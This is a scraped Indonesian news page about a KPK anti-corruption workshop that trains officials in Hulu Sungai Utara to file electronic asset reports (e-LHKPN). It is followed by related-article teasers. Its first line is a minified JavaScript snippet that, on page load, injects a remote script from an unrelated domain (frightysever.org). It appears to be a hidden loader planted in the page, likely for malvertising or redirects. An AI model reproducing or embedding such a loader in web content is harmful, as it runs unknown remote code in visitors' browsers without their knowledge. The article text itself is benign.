(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Komisi Pembarantasan Korupsi (KPK) menggelar simulasi tata cara pelaporan LHKPN (Laporan Harta Kekayaan Penyelenggara Negara) secara elektronik bagi penyelenggara Negara di lingkungan pemerintah Kabupaten Hulu Sungai Utara (HSU), Rabu (14/11).
Seluruh pejabat eselon II dan III serta para bendahara di lingkup Pemkab HSU yang mendapatkan pendampingan dan sosialisasi ini, mengikuti dengan seksama kegiatan yang digelar di Aula BPKAD Lantai 2 tersebut.
Pada kesempatan itu, KPK juga memperkenalkan aplikasi LHKPN berbasis elektronik tersebut kepada seluruh pejabat pemkab HSU yang dipandu oleh deputi bidang pencegahan KPK RI. Hal tersebut sesuai dengan Peraturan KPK nomor 7 tahun 2016 tentang tatacara pendaftaran, pengumuman dan pemeriksaan terkait LHKPN.
Bupati HSU dalam sambutan yang di sampaikan Sekda H.M.Taufik mengaku sangat mendukung dengan upaya yang dilakukan oleh KPK. Hal ini demi terwujudnya penyelenggaraan negara yang taat terhadap aturan, sekaligus pencegahan terhadap korupsi. “Kegiatan ini sangat bagus untuk diselenggarakan agar terwujud penyelenggaraan negara yang mentaati aturan hukum yang ada serta menghindari perbuatan korupsi kolusi dan nepotisme (KKN),†terangnya.
Pelaporan terkait LHKPN kini sangatlah mudah dengan adanya aplikasi e-LHKPN. “Dengan mengisi dan melaporkan harta kekayaan kepada KPK, maka secara langsung sudah ikut mencegah terjadinya pelanggaran hukum yakni KKN maupun gratifikasi.” imbuhnya
Pemerintah Kabupaten HSU berkomitmen untuk mengawal LHKPN demi terwujudnya pencegahan dan pemberantasan terhadap korupsi di lingkungan pemkab HSU. Selain itu juga sebagai penyedia sarana control masyarakat dan uji integritas bagi penyelenggara negara.
Fungsional spesialis LHKPN KPK, Irwan mengatakan bahwa penyampaian laporan secara online wajib dilakukan melalui Pengisian e-LHKPN dengan aplikasi, tidak perlu lagi dokumen pendukung yang sangat banyak. “Batas waktu penyampaian paling lambat pada 31 Maret di tiap tahunnya,” tegasnya. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More
KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More
KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More
KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
This website uses cookies.